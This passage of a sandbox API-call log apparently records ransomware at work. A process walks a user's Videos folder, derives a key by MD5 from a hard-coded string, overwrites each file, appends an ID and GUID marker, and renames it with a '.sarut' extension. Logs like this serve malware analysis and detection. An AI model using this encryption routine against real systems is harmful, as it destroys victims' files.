dwFreeType=0x8000) returned 1 [0269.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.566] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59998f0, ftCreationTime.dwHighDateTime=0x1d4c740, ftLastAccessTime.dwLowDateTime=0x1db898c0, ftLastAccessTime.dwHighDateTime=0x1d4ce8b, ftLastWriteTime.dwLowDateTime=0x1db898c0, ftLastWriteTime.dwHighDateTime=0x1d4ce8b, nFileSizeHigh=0x0, nFileSizeLow=0x95b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J6vHB4Uh4HDmN.swf", cAlternateFileName="J6VHB4~1.SWF")) returned 1 [0269.566] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.566] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.566] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\J6vHB4Uh4HDmN.swf") returned=".swf" [0269.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\J6vHB4Uh4HDmN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\j6vhb4uh4hdmn.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.567] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=38321) returned 1 [0269.567] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.569] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x958b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.569] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.570] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.570] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.570] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x95b1, lpOverlapped=0x0) returned 1 [0269.572] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.572] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.572] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.572] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.572] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.573] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.573] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.573] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.573] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.573] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.573] GetLastError () returned 0x0 [0269.573] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.573] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.573] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x95b0) returned 0x311d708 [0269.574] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.574] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x95ac, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x95ac, lpOverlapped=0x0) returned 1 [0269.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.574] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x95b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.574] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.574] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.574] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.574] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.575] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.575] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.575] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.575] CloseHandle (hObject=0x5c4) returned 1 [0269.576] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0269.576] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0269.576] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0269.576] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\J6vHB4Uh4HDmN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\j6vhb4uh4hdmn.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\J6vHB4Uh4HDmN.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\j6vhb4uh4hdmn.swf.sarut")) returned 1 [0269.577] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.577] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.578] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.578] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdba850, ftCreationTime.dwHighDateTime=0x1d4d580, ftLastAccessTime.dwLowDateTime=0xdbc79bc0, ftLastAccessTime.dwHighDateTime=0x1d4c72b, ftLastWriteTime.dwLowDateTime=0xdbc79bc0, ftLastWriteTime.dwHighDateTime=0x1d4c72b, nFileSizeHigh=0x0, nFileSizeLow=0x7f71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KEVeaf.avi", cAlternateFileName="")) returned 1 [0269.578] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.578] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.578] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.578] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\KEVeaf.avi") returned=".avi" [0269.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\KEVeaf.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\keveaf.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.578] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=32625) returned 1 [0269.578] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.581] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7f4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.581] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.584] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.584] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.584] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.584] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x7f71, lpOverlapped=0x0) returned 1 [0269.585] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.585] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.585] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.585] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.585] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.586] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.586] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.586] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.586] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.586] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.586] GetLastError () returned 0x0 [0269.586] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.586] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.586] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.586] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7f70) returned 0x311d708 [0269.587] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.587] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.587] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x7f6c, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x7f6c, lpOverlapped=0x0) returned 1 [0269.587] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.587] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7f71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.587] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.587] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.587] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.587] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.587] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.587] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.588] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.588] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.588] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.588] CloseHandle (hObject=0x5c4) returned 1 [0269.590] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.590] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.590] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.590] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\KEVeaf.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\keveaf.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\KEVeaf.avi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\keveaf.avi.sarut")) returned 1 [0269.590] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.590] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.592] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0269.592] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b82920, ftCreationTime.dwHighDateTime=0x1d4d0ef, ftLastAccessTime.dwLowDateTime=0xffb279b0, ftLastAccessTime.dwHighDateTime=0x1d4c96a, ftLastWriteTime.dwLowDateTime=0xffb279b0, ftLastWriteTime.dwHighDateTime=0x1d4c96a, nFileSizeHigh=0x0, nFileSizeLow=0x10239, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kUiTedID_arfjfDWv.swf", cAlternateFileName="KUITED~1.SWF")) returned 1 [0269.592] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.592] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.592] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.592] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kUiTedID_arfjfDWv.swf") returned=".swf" [0269.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kUiTedID_arfjfDWv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kuitedid_arfjfdwv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.592] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=66105) returned 1 [0269.592] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.594] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10213, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.595] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.596] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.596] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.596] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.596] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x10239, lpOverlapped=0x0) returned 1 [0269.597] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.597] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.597] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.597] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.597] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.598] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.598] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.599] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.599] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.599] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.599] GetLastError () returned 0x0 [0269.599] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.599] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.599] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.599] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10240) returned 0x311d708 [0269.599] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.599] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.599] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x10234, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x10234, lpOverlapped=0x0) returned 1 [0269.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.600] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10239, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.600] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.600] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.600] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.600] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.600] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.600] CloseHandle (hObject=0x5c4) returned 1 [0269.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.602] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.602] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.602] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kUiTedID_arfjfDWv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kuitedid_arfjfdwv.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kUiTedID_arfjfDWv.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kuitedid_arfjfdwv.swf.sarut")) returned 1 [0269.603] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.603] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.604] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.604] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff41180, ftCreationTime.dwHighDateTime=0x1d4c8b8, ftLastAccessTime.dwLowDateTime=0xc1019720, ftLastAccessTime.dwHighDateTime=0x1d4cfee, ftLastWriteTime.dwLowDateTime=0xc1019720, ftLastWriteTime.dwHighDateTime=0x1d4cfee, nFileSizeHigh=0x0, nFileSizeLow=0x667, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LA0fDt.flv", cAlternateFileName="")) returned 1 [0269.604] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.604] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.604] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.604] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LA0fDt.flv") returned=".flv" [0269.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LA0fDt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\la0fdt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.605] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=1639) returned 1 [0269.605] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.607] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x641, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.607] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.609] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.609] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.609] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.609] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, 